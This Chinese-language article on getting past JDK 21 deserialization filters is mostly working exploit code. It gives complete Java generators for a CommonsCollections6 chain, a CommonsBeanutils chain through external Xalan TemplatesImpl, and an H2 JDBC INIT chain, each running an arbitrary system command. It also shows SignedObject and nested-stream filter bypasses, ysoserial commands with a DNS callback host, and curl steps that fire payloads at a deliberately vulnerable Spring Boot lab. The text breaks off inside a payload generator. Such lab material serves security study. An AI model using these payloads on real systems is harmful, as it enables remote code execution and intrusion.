JDK 21 反序列化过滤器绕过与 Post-TemplatesImpl 利用链构造
Java 反序列化、ObjectInputFilter、JEP 415、Gadget Chain、JDK 21、绕过技术、SignedObject
一、引言
进入 JDK 21 LTS 时代,模块系统的强封装使得 TemplatesImpl 等经典 RCE Sink 彻底失效,但反序列化的攻击面并未消失——它正在向 JDBC 连接串注入、外部 Xalan 库利用、JNDI ObjectFactory 滥用等方向迁移。
二、技术背景:ObjectInputFilter 机制
2.1 JEP 290:进程级序列化过滤(JDK 9)
JEP 290 在 java.io.ObjectInputFilter 接口中定义了三个维度的过滤能力:
过滤维度 | 对应方法 | 作用 |
类过滤 |
| 按类名模式允许或拒绝特定类的反序列化 |
资源限制 |
| 限制对象图深度、引用数量、流字节数 |
数组限制 |
| 限制反序列化数组的最大长度 |
过滤器通过返回 Status.ALLOWED、Status.REJECTED 或 Status.UNDECIDED 三态值来决定是否放行。
过滤器设置方式有三种,优先级从高到低:

jdk.serialFilter 的模式语法:

模式按从左到右顺序匹配,首个匹配项决定结果。未匹配任何模式时返回
UNDECIDED。
2.2 JEP 415:上下文相关过滤器工厂(JDK 17)
JEP 290 的根本局限在于 JVM 全局过滤器是静态的、一刀切的——对所有 ObjectInputStream 实例施加相同的限制。JEP 415 引入了过滤器工厂(Filter Factory),在每个 ObjectInputStream 构造时动态生成过滤器:

工厂接收两个参数并返回最终生效的过滤器:

setSerialFilterFactory在整个 JVM 生命周期内只能调用一次,第二次调用将抛出IllegalStateException。
2.3 过滤器决策流程
完整的过滤器决策可以用以下流程表示:

三、JDK 21 序列化过滤体系的关键变化
3.1 从 JDK 9 到 JDK 21:过滤能力演进
版本 | 里程碑事件 | 安全影响 |
JDK 9 | JEP 290 引入 | 首次提供平台级反序列化过滤能力 |
JDK 16 | 非法反射访问默认拒绝 |
|
JDK 17 | JEP 415 过滤器工厂; |
|
JDK 17 |
| 防止运行时过滤器替换攻击 |
JDK 21 | 强封装策略不变;模块系统全面稳定 | 攻击面进一步收窄,但无新增过滤 API |
3.2 模块系统对经典 Gadget Chain 的致命影响
JDK 21 延续了 JDK 17 的强封装策略,其核心影响是:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl彻底不可用。
TemplatesImpl 是绝大多数经典 RCE 利用链的终点——它内部持有 _bytecodes 字段,调用 newTransformer() 或 getOutputProperties() 时会加载并执行字节码。在 JDK 21 中:

除非目标应用启动时显式添加了 --add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED,否则所有依赖 TemplatesImpl 的利用链全部失效。
验证模块封装效果(JDK 21)
编写测试代码TestModuleAccess.java
public class TestModuleAccess {
public static void main(String[] args) throws Exception {
Class<?> clazz = Class.forName(
"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
);
System.out.println("[*] 类加载成功: " + clazz.getName());
try {
var field = clazz.getDeclaredField("_bytecodes");
field.setAccessible(true);
System.out.println("[!] 反射访问成功(不应出现)");
} catch (java.lang.reflect.InaccessibleObjectException e) {
System.out.println("[+] 模块系统阻止反射访问: " + e.getMessage());
}
}
}编译并运行
javac TestModuleAccess.java && java TestModuleAccess
类可以被加载(
Class.forName成功),但私有字段无法通过反射访问。这就是模块系统"物理隔离"的效果——与ObjectInputFilter的"策略过滤"不同,模块封装不依赖配置,无法被应用代码绕过。
四、绕过路径一:嵌套反序列化流逃逸
4.1 原理分析
ObjectInputFilter 的设计中存在一个架构性盲区:过滤器绑定在 ObjectInputStream 实例上,而非序列化数据流本身。
当某个对象的 readObject() 方法内部创建了一个新的 ObjectInputStream 并从嵌套流中反序列化数据时,外层过滤器不会自动传播到内层流:

4.2 JEP 415 能否堵住这个缺口?
理论上可以——如果应用通过 setSerialFilterFactory 注册了过滤器工厂,工厂会在每个ObjectInputStream 构造时被调用,包括嵌套创建的实例。
4.3 自定义嵌套流绕过 PoC
使用自定义类 NestingWrapper 作为嵌套载体,需存在于目标 classpath 中才能触发。实战中应使用目标 classpath 上已有的嵌套反序列化类(见 4.5 节 SignedObject 实战方案)。
NestingWrapper.java —— 嵌套反序列化的载体类:
package com.sec.demo;
import java.io.*;
/**
* 嵌套反序列化包装器:readObject 内部创建新的 ObjectInputStream
* 用于演示过滤器无法跨流传播的架构缺陷
*/
public class NestingWrapper implements Serializable {
@Serial
private static final long serialVersionUID = 1L;
private byte[] nestedPayload;
public NestingWrapper(Object innerObject) throws IOException {
// 将内部对象序列化为字节数组
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(innerObject);
}
this.nestedPayload = baos.toByteArray();
}
@Serial
private void readObject(ObjectInputStream ois)
throws IOException, ClassNotFoundException {
ois.defaultReadObject();
// 关键:此处创建全新的 ObjectInputStream
// 外层过滤器不会传播到此处
ByteArrayInputStream bais = new ByteArrayInputStream(this.nestedPayload);
try (ObjectInputStream innerOis = new ObjectInputStream(bais)) {
// 内层流无过滤器,可反序列化任意类
Object innerObj = innerOis.readObject();
System.out.println("[!] 嵌套反序列化成功: " + innerObj.getClass().getName());
}
}
}FilterBypassDemo.java —— 验证绕过效果:
package com.sec.demo;
import java.io.*;
public class FilterBypassDemo {
public static void main(String[] args) throws Exception {
// 1. 构造内部对象(正常情况下应被过滤器拦截的类)
// 使用 javax.management.BadAttributeValueExpException 作为示例
// 该类常出现在反序列化利用链中
var innerObj = new javax.management.BadAttributeValueExpException(null);
// 2. 将内部对象包装进 NestingWrapper
NestingWrapper wrapper = new NestingWrapper(innerObj);
// 3. 序列化 wrapper
byte[] serialized;
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(wrapper);
serialized = baos.toByteArray();
}
// 4. 反序列化时设置严格过滤器
// 该过滤器仅允许 NestingWrapper 和基本类型
ObjectInputFilter strictFilter = ObjectInputFilter.Config.createFilter(
"com.sec.demo.NestingWrapper;java.base/*;!*"
);
try (ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
ObjectInputStream ois = new ObjectInputStream(bais)) {
ois.setObjectInputFilter(strictFilter);
System.out.println("[*] 外层过滤器: 仅允许 NestingWrapper 和 java.base");
System.out.println("[*] 开始反序列化...");
Object result = ois.readObject();
System.out.println("[+] 外层反序列化完成: " + result.getClass().getName());
}
}
}编译与执行:
mkdir -p src/com/sec/demo
编译
javac -d out src/com/sec/demo/NestingWrapper.java src/com/sec/demo/FilterBypassDemo.java
运行
java -cp out com.sec.demo.FilterBypassDemo
外层过滤器明确拒绝了
javax.management.*下的类,但通过嵌套流成功反序列化了BadAttributeValueExpException——过滤器被完整绕过。
4.4 为什么过滤器不传播
查看 JDK 21 中 ObjectInputStream 构造函数的关键代码路径:

问题在于:当
NestingWrapper.readObject()内部执行new ObjectInputStream(bais)时,这个新实例的过滤器由工厂决定。默认工厂仅考虑 JVM 全局过滤器,完全不知道外层 OIS 的存在和其过滤策略。
4.5 利用 SignedObject 构造真实嵌套逃逸链
上述 PoC 的局限性在于
NestingWrapper是自定义类,目标环境中不存在。实战中,需要找到 JDK 或常见框架中本身就执行嵌套反序列化的类。
java.security.SignedObject 是最理想的候选——它是 JDK 原生类,存在于所有 Java 环境中:
SignedObject 嵌套反序列化原理:

攻击链路设计:SignedObject 本身的 readObject() 不会触发 getObject(),需要借助 Getter 调用链来触发:

SignedObjectBypassDemo.java —— 完整的 SignedObject 嵌套绕过演示:
package com.sec.demo;
import java.io.*;
import java.security.*;
/**
* 利用 JDK 原生类 SignedObject 实现嵌套反序列化逃逸
* SignedObject 存在于所有 JDK 环境中,无需额外依赖
*
* 攻击链:外层反序列化 SignedObject → getObject() 创建新 OIS → 内层无过滤
*/
public class SignedObjectBypassDemo {
public static void main(String[] args) throws Exception {
// 1. 准备内层恶意对象(在实际攻击中,这里放置 CC6/CB1 等利用链 Payload)
// 此处用 BadAttributeValueExpException 演示过滤器绕过
var innerEvil = new javax.management.BadAttributeValueExpException(
"this_should_be_blocked_by_filter"
);
// 2. 生成签名密钥对(签名验证不影响 getObject 的执行)
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
// 3. 将恶意对象包装进 SignedObject
Signature sig = Signature.getInstance("SHA256withDSA");
SignedObject signedObj = new SignedObject(innerEvil, kp.getPrivate(), sig);
// 4. 序列化 SignedObject
byte[] serialized;
try (ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(signedObj);
serialized = baos.toByteArray();
}
System.out.println("[*] 序列化数据大小: " + serialized.length + " bytes");
// 5. 配置严格的白名单过滤器
// 仅允许 SignedObject 及其依赖的 JDK 基础类
ObjectInputFilter strictFilter = ObjectInputFilter.Config.createFilter(
"java.security.SignedObject;"
+ "java.lang.*;"
+ "java.security.*;"
+ "java.base/*;"
+ "!*"
);
// 6. 反序列化 SignedObject(外层过滤器允许)
try (ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
ObjectInputStream ois = new ObjectInputStream(bais)) {
ois.setObjectInputFilter(strictFilter);
System.out.println("[*] 外层过滤器: 仅允许 SignedObject 和 java.base 类");
SignedObject restored = (SignedObject) ois.readObject();
System.out.println("[+] 外层反序列化成功: SignedObject");
// 7. 调用 getObject() 触发嵌套反序列化(绕过外层过滤器)
// 在实际利用链中,这一步由 Getter 调用链自动触发
Object inner = restored.getObject();
System.out.println("[!] 嵌套反序列化绕过成功: " + inner.getClass().getName());
System.out.println("[!] 内容: " + inner);
}
}
}编译与运行:
javac -d out src/com/sec/demo/SignedObjectBypassDemo.java
java -cp out com.sec.demo.SignedObjectBypassDemo
SignedObject是 JDK 原生类(java.security包),在几乎所有过滤策略中都会被放行。它的getObject()方法在内部创建了新的ObjectInputStream,天然构成嵌套反序列化的跳板。在实际利用中,攻击者将 CC6 等完整利用链序列化后存入
SignedObject.content,再通过 Getter 调用链(如BeanComparator、POJONode等)自动触发getObject()。
五、绕过路径二:基于白名单类的利用链重构
5.1 黑名单过滤器的本质缺陷
生产环境中最常见的过滤策略是黑名单——列举已知危险类并拒绝:

黑名单模式存在根本性缺陷:防御者必须穷举所有危险类,攻击者只需找到一个遗漏。
5.2 利用 URLDNS 探测过滤策略
URLDNS 链仅使用 java.util.HashMap 和 java.net.URL,这两个类几乎不可能被过滤(否则大量正常业务会崩溃),因此是最可靠的探测手段:

使用 ysoserial 生成探测 Payload:
java --add-opens java.base/java.net=ALL-UNNAMED --add-opens java.base/java.util=ALL-UNNAMED -jar /home/nl/tools/ysoserial-all.jar URLDNS "http://70de4b4d98.ddns.1433.eu.org." > urldns.bin5.3 利用 GadgetProbe 枚举目标类路径
确认反序列化入口存在后,使用 GadgetProbe 进行类路径探测——判断目标环境中加载了哪些库:
# 准备探测类列表
cat > probe-classes.txt << 'EOF'
org.apache.commons.collections.Transformer
org.apache.commons.collections4.Transformer
org.apache.commons.beanutils.BeanComparator
com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase
org.aspectj.weaver.tools.cache.SimpleCache
com.alibaba.fastjson.JSON
org.apache.xalan.xsltc.trax.TemplatesImpl
com.fasterxml.jackson.databind.node.POJONode
org.springframework.aop.framework.JdkDynamicAopProxy
org.h2.jdbcx.JdbcDataSource
EOFGadgetProbe 通过 DNS 回调判断类是否存在于目标 classpath 中。每个类对应一个唯一子域名,存在则触发 DNS 解析,不存在则无回调。
5.4 典型黑名单绕过:CC6 变体
假设目标过滤器拦截了 org.apache.commons.collections.functors.* 包下的所有类(如 InvokerTransformer、InstantiateTransformer),但未拦截 org.apache.commons.collections.keyvalue.* 和 org.apache.commons.collections.map.*:
package com.sec.demo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
/**
* CC6 变体 —— 不依赖 TemplatesImpl,直接执行系统命令
* 利用链:HashMap → TiedMapEntry → LazyMap → ChainedTransformer → Runtime.exec()
*
* 在 JDK 21 下可用的条件:
* 1. 目标 classpath 含 commons-collections 3.1 ~ 3.2.1
* (CC 3.2.2 的 InvokerTransformer.readObject() 主动抛异常,序列化被禁用)
* 2. 过滤器未拦截 functors 包下的类
*/
public class CC6Exploit {
public static byte[] generatePayload(String command) throws Exception {
// 构造 Transformer 链:() → Runtime.class → getRuntime() → exec(cmd)
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{command}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 使用 LazyMap 触发 Transformer
Map<Object, Object> lazyMap = LazyMap.decorate(new HashMap<>(), chainedTransformer);
// TiedMapEntry 将 Map 操作代理到 hashCode 调用
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
// HashMap.put → entry.hashCode → LazyMap.get → ChainedTransformer.transform
Map<Object, Object> expMap = new HashMap<>();
expMap.put(entry, "value");
// 清理 LazyMap 中在 put 过程中产生的缓存
// 如果不清理,反序列化时 LazyMap.get("key") 会命中缓存而不触发 transform
lazyMap.remove("key");
// 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(expMap);
}
return baos.toByteArray();
}
public static void main(String[] args) throws Exception {
if (args.length < 1) {
System.out.println("Usage: java CC6Exploit <command>");
System.out.println("Example: java CC6Exploit 'touch /tmp/pwned'");
return;
}
byte[] payload = generatePayload(args[0]);
// 输出 Base64 编码的 Payload
System.out.println(Base64.getEncoder().encodeToString(payload));
}
}利用链调用路径可视化:

5.5 黑名单策略的绕过方法论

六、Post-TemplatesImpl : Gadget Chain 构造
TemplatesImpl在 JDK 21 中被模块系统封锁后,攻击者需要寻找新的 RCE Sink。
6.1 路径一:外部 Xalan 库的 TemplatesImpl 替代
Maven Central 上的独立 Xalan-J 库(xalan:xalan)包含自己的 org.apache.xalan.xsltc.trax.TemplatesImpl 实现,该类位于第三方 JAR 中,不受 JDK 模块系统的封装限制。
区分两个 TemplatesImpl:
属性 | JDK 内置版本 | 外部 Xalan-J 版本 |
全限定名 |
|
|
所在模块 |
| unnamed module(classpath 上的普通 JAR) |
JDK 21 反射访问 | 抛出 | 正常访问 |
Maven 坐标 | |
|
使用场景 | JDK 内部 XML/XSLT 处理 | 需要独立 Xalan 功能的应用(XML 处理、XSLT 转换) |
改造后的利用链构造(以 CommonsBeanutils1 为例):
package com.sec.demo;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
/**
* 在 JDK 21 下绕过模块系统封装
*
* 依赖:commons-beanutils:1.9.4, xalan:xalan:2.7.3, javassist:3.30.2-GA
*/
public class CB1ExternalXalan {
public static byte[] generatePayload(String command) throws Exception {
// 1. 使用 Javassist 动态生成恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil_" + System.currentTimeMillis());
// 必须继承外部 Xalan 的 AbstractTranslet
ctClass.setSuperclass(pool.get(
"org.apache.xalan.xsltc.runtime.AbstractTranslet"
));
// 在静态初始化块中执行命令
ctClass.makeClassInitializer().insertBefore(
"java.lang.Runtime.getRuntime().exec(\"" + command + "\");"
);
byte[] bytecode = ctClass.toBytecode();
// 2. 实例化外部 Xalan 的 TemplatesImpl
Object templates = Class.forName(
"org.apache.xalan.xsltc.trax.TemplatesImpl"
).getDeclaredConstructor().newInstance();
// 3. 通过反射设置字段(外部 Xalan 位于 unnamed module,不受封装限制)
setField(templates, "_bytecodes", new byte[][]{bytecode});
setField(templates, "_name", "anything"); // 非 null 即可,触发字节码加载的条件
setField(templates, "_tfactory", Class.forName(
"org.apache.xalan.xsltc.trax.TransformerFactoryImpl"
).getDeclaredConstructor().newInstance());
// 4. 构造 BeanComparator,目标属性为 outputProperties
// BeanComparator.compare(a, b) 内部调用:
// PropertyUtils.getProperty(a, "outputProperties")
// → 反射调用 a.getOutputProperties()
// → TemplatesImpl.getOutputProperties()
// → TemplatesImpl.newTransformer()
// → 加载并实例化 _bytecodes 中的字节码 → 触发静态初始化块 → RCE
BeanComparator<Object> comparator = new BeanComparator<>(
"outputProperties"
);
// 5. PriorityQueue 在反序列化时触发 comparator
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
// 先用无害值填充,避免 put 时就触发 comparator.compare()
queue.add("1");
queue.add("2");
// 反射替换 queue 内部数组为恶意 templates
setField(queue, "queue", new Object[]{templates, templates});
// 6. 序列化
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(queue);
}
return baos.toByteArray();
}
private static void setField(Object obj, String fieldName, Object value)
throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true); // 外部 Xalan 在 unnamed module,此调用不会抛异常
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
if (args.length < 1) {
System.out.println("Usage: java CB1ExternalXalan <command>");
return;
}
byte[] payload = generatePayload(args[0]);
System.out.println(Base64.getEncoder().encodeToString(payload));
}
}6.2 路径二:JDBC Connection String 攻击(H2 Database Sink)
当目标 classpath 中存在 H2 Database 驱动时,可通过构造恶意 JDBC URL 实现 RCE——H2 支持通过
INIT参数执行 SQL,配合CREATE ALIAS可加载并执行 Java 代码。
攻击原理流程:

恶意 JDBC URL 构造(H2 1.4.200):
jdbc:h2:mem:test;INIT=CREATE ALIAS IF NOT EXISTS EXEC AS
'void exec(String cmd) throws Exception {
Runtime.getRuntime().exec(cmd)\;
}'\;
CALL EXEC('touch /tmp/pwned')H2 JDBC URL 使用
\;作为 SQL 语句内的分号(区别于 URL 参数分隔符;)。
结合 CommonsBeanutils 的利用链:
package com.sec.demo;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.PriorityQueue;
/**
* CB1 + H2 JDBC Sink
* 利用 BeanComparator 调用目标对象的 getter 方法
* 通过 JdbcDataSource.getConnection() 触发恶意 JDBC URL 解析
*
* 前置条件:
* - 目标 classpath 包含 h2:1.4.200 + commons-beanutils
* - H2 2.x 需要额外条件,利用难度增大
*/
public class CB1H2Exploit {
/**
* 构造恶意 H2 DataSource
* org.h2.jdbcx.JdbcDataSource 实现了 javax.sql.DataSource 和 Serializable
*/
public static Object createMaliciousDataSource(String command)
throws Exception {
// 构造恶意 JDBC URL
// H2 1.4.200 中,INIT 参数允许执行任意 SQL(包括 CREATE ALIAS)
String jdbcUrl = "jdbc:h2:mem:test;INIT="
+ "CREATE ALIAS IF NOT EXISTS EXEC AS "
+ "'void exec(String cmd) throws Exception {"
+ " Runtime.getRuntime().exec(cmd)\\;"
+ "}'\\;"
+ "CALL EXEC('" + command + "')";
// JdbcDataSource 实现了 Serializable,可以被序列化传输
Object ds = Class.forName("org.h2.jdbcx.JdbcDataSource")
.getDeclaredConstructor().newInstance();
// 设置恶意 URL
Method setUrl = ds.getClass().getMethod("setURL", String.class);
setUrl.invoke(ds, jdbcUrl);
return ds;
}
public static byte[] generatePayload(String command) throws Exception {
Object maliciousDs = createMaliciousDataSource(command);
// BeanComparator("connection") 会调用 getConnection()
// JdbcDataSource.getConnection() 内部执行 DriverManager.getConnection(url)
// 从而触发 INIT 参数中的恶意 SQL
BeanComparator<Object> comparator = new BeanComparator<>("connection");
PriorityQueue<Object> queue = new PriorityQueue<>(2, comparator);
queue.add("1");
queue.add("2");
// 反射替换 queue 内部元素
Field queueField = PriorityQueue.class.getDeclaredField("queue");
queueField.setAccessible(true);
queueField.set(queue, new Object[]{maliciousDs, maliciousDs});
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(queue);
}
return baos.toByteArray();
}
public static void main(String[] args) throws Exception {
if (args.length < 1) {
System.out.println("Usage: java CB1H2Exploit <command>");
return;
}
byte[] payload = generatePayload(args[0]);
System.out.println(Base64.getEncoder().encodeToString(payload));
}
}6.3 路径三:AspectJWeaver 文件写入 + Cron/计划任务提权
当目标 classpath 包含 aspectjweaver 和 commons-collections4 时,可利用 SimpleCache$StorableCachingMap 实现任意文件写入——不需要 TemplatesImpl,不依赖 JDK 内部类:
利用链路径:

七、从环境搭建到漏洞利用全链路
7.1 实验环境架构

7.2 环境准备
Step 1: 安装 JDK 21
java -version
Step 2: 安装 Maven
sudo apt install maven -y
mvn -version
Step 3: 准备 ysoserial
ysoserial 是反序列化漏洞利用工具
mkdir -p ~/tools && cd ~/tools
wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
从 JDK 9 开始引入模块化系统,默认限制了内部 API 的访问。ysoserial 需要访问这些内部 API 才能工作,因此通过 --add-opens 参数强制打开这些模块:
(让 ysoserial 这个工具能在 Java 17 以上版本正常跑起来。)
cat > ~/tools/ysoserial.sh << 'SCRIPT'
#!/bin/bash
# ysoserial 启动脚本
java \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
--add-opens java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
--add-opens java.base/java.util=ALL-UNNAMED \
--add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
--add-opens java.base/java.io=ALL-UNNAMED \
--add-opens java.rmi/sun.rmi.transport=ALL-UNNAMED \
-jar ~/tools/ysoserial-all.jar "$@"
SCRIPT
chmod +x ~/tools/ysoserial.sh验证 ysoserial 可用
~/tools/ysoserial.sh --help
技
--add-opens参数仅作用于 ysoserial 本身运行的 JVM——让 ysoserial 能够通过反射构造 Payload。这并不影响目标 JDK 21 环境的模块封装。生成的 Payload 发送到目标后,是否能成功利用取决于目标的模块配置。
7.3 搭建靶场
Step 1: 创建 Spring Boot 3 项目
mkdir -p ~/vuln-deser-lab && cd ~/vuln-deser-labpom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.5</version>
</parent>
<groupId>com.vuln</groupId>
<artifactId>deser-lab</artifactId>
<version>1.0.0</version>
<properties>
<java.version>21</java.version>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<!-- 漏洞依赖:Commons Collections 3.2.1 -->
<!-- 3.2.2 在 InvokerTransformer.readObject() 中主动抛 UnsupportedOperationException -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<!-- 漏洞依赖:Commons BeanUtils(提供 Getter 调用链) -->
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.4</version>
</dependency>
<!-- 漏洞依赖:H2 Database 1.4.200 -->
<dependency>
<groupId>com.h2database</groupId>
<artifactId>h2</artifactId>
<version>1.4.200</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>Step 2: 编写含漏洞的反序列化端点
mkdir -p src/main/java/com/vuln/deserDeserLabApplication.java:
package com.vuln.deser;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class DeserLabApplication {
public static void main(String[] args) {
SpringApplication.run(DeserLabApplication.class, args);
}
}VulnController.java —— 模拟不安全的反序列化端点:
package com.vuln.deser;
import org.springframework.http.ResponseEntity;
import org.springframework.web.bind.annotation.*;
import java.io.*;
import java.util.Base64;
@RestController
public class VulnController {
/**
* 场景一:无过滤器 —— 完全不设防的反序列化
* 模拟遗留系统中直接反序列化用户输入的场景
*/
@PostMapping("/api/deserialize/unsafe")
public ResponseEntity<String> unsafeDeserialize(@RequestBody String base64Data) {
try {
byte[] data = Base64.getDecoder().decode(base64Data.trim());
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data)
);
Object obj = ois.readObject();
return ResponseEntity.ok("反序列化成功: " + obj.getClass().getName());
} catch (Exception e) {
return ResponseEntity.badRequest()
.body("反序列化失败: " + e.getMessage());
}
}
/**
* 场景二:黑名单过滤器 —— 仅拦截已知危险类
* 这是最常见但最薄弱的防御方式
*/
@PostMapping("/api/deserialize/blacklist")
public ResponseEntity<String> blacklistDeserialize(@RequestBody String base64Data) {
try {
byte[] data = Base64.getDecoder().decode(base64Data.trim());
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data)
);
// 黑名单过滤器:拦截已知 Gadget 类
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"!org.apache.commons.collections.functors.**;"
+ "!org.apache.commons.collections4.functors.**;"
+ "!com.sun.org.apache.xalan.**;"
+ "!javassist.**;"
+ "*"
);
ois.setObjectInputFilter(filter);
Object obj = ois.readObject();
return ResponseEntity.ok("反序列化成功: " + obj.getClass().getName());
} catch (Exception e) {
return ResponseEntity.badRequest()
.body("过滤器拦截: " + e.getMessage());
}
}
/**
* 场景三:白名单过滤器 —— 严格限制允许的类
* 安全性最高,但配置不当仍可能被绕过
*/
@PostMapping("/api/deserialize/whitelist")
public ResponseEntity<String> whitelistDeserialize(@RequestBody String base64Data) {
try {
byte[] data = Base64.getDecoder().decode(base64Data.trim());
ObjectInputStream ois = new ObjectInputStream(
new ByteArrayInputStream(data)
);
// 白名单:仅允许业务类和基础类
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter(
"com.vuln.deser.**;"
+ "java.lang.*;"
+ "java.util.*;"
+ "!*"
);
ois.setObjectInputFilter(filter);
Object obj = ois.readObject();
return ResponseEntity.ok("反序列化成功: " + obj.getClass().getName());
} catch (Exception e) {
return ResponseEntity.badRequest()
.body("过滤器拦截: " + e.getMessage());
}
}
}Step 3: 编译并启动靶场
cd ~/vuln-deser-lab
# 编译打包
mvn clean package -DskipTests
启动
java -jar target/deser-lab-1.0.0.jar --server.port=8888
另开终端执行
curl -s http://localhost:8888/api/deserialize/unsafe -X POST \
-H "Content-Type: text/plain" -d "dGVzdA=="
Base64 "test" 不是有效的序列化数据,但说明端点可达。
7.4 攻击演示一:URLDNS 探测
生成 URLDNS 探测 Payload
~/tools/ysoserial.sh URLDNS "http://70de4b4d98.ddns.1433.eu.org." \
| base64 -w 0 > /tmp/urldns_payload.txt
发送到无过滤端点
curl -X POST http://127.0.0.1:8888/api/deserialize/unsafe \
-H "Content-Type: text/plain" \
-d @/tmp/urldns_payload.txt
检查 dnslog 平台是否收到 DNS 查询

dnslog 平台收到 DNS 查询记录,确认存在反序列化入口。
7.5 攻击演示二:CC6 链攻击无过滤端点
生成 CC6 Payload
~/tools/ysoserial.sh CommonsCollections6 "touch /tmp/pwned" \
| base64 -w 0 > /tmp/cc6_payload.txt
发送 Payload
curl -X POST http://localhost:8888/api/deserialize/unsafe \
-H "Content-Type: text/plain" \
-d @/tmp/cc6_payload.txt
验证 RCE
ls -la /tmp/pwned
7.6 攻击演示三:绕过黑名单过滤器
黑名单端点拦截了 org.apache.commons.collections.functors.**,直接发送 CC6 会被拦截:
curl -X POST http://localhost:8888/api/deserialize/blacklist \
-H "Content-Type: text/plain" \
-d @/tmp/cc6_payload.txt
绕过方式:利用嵌套流 + CC6 的组合。
靶场中的
com.vuln.deser.NestingWrapper类模拟了嵌套反序列化行为(参见 7.3 Step 2)。该类在黑名单过滤器中未被拦截(黑名单末尾的*放行了所有未显式拒绝的类),其readObject()会创建新的ObjectInputStream反序列化内嵌的字节数组——新的 OIS 不继承外层过滤器。
攻击思路
将 CC6 的原始序列化字节作为
NestingWrapper.nestedPayload字段的值,这样外层过滤器只看到NestingWrapper(放行),内层 CC6 在无过滤的新 OIS 中被反序列化执行。
编写组合 Payload 生成器 NestedBypassGenerator.java:
package com.sec.exploit;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
/**
* 嵌套流绕过 Payload 生成器
*
* 利用目标 classpath 上已有的 NestingWrapper(com.vuln.deser.NestingWrapper)
* 的嵌套反序列化行为绕过外层黑名单过滤器。
*
* 原理:
* NestingWrapper 的 readObject() 内部创建新的 ObjectInputStream 反序列化
* nestedPayload 字段中的数据。新 OIS 不继承外层过滤器,因此内嵌的 CC6
* Payload 可以自由反序列化并执行。
*
* 攻击机上不需要有 NestingWrapper 的 class 文件。
* 我们直接构造其序列化字节流(手动写入 serialVersionUID、字段值等),
* 但更简单的方式是:攻击机上也编译一份同包名同类名的 NestingWrapper。
* 这里采用后一种方式——编译时需要靶场的 NestingWrapper 源码。
*/
public class NestedBypassGenerator {
public static void main(String[] args) throws Exception {
if (args.length < 2) {
System.out.println("Usage: java NestedBypassGenerator <ysoserial_payload_file> <output_file>");
System.out.println();
System.out.println("Example:");
System.out.println(" ysoserial CommonsCollections6 'id' > cc6_raw.bin");
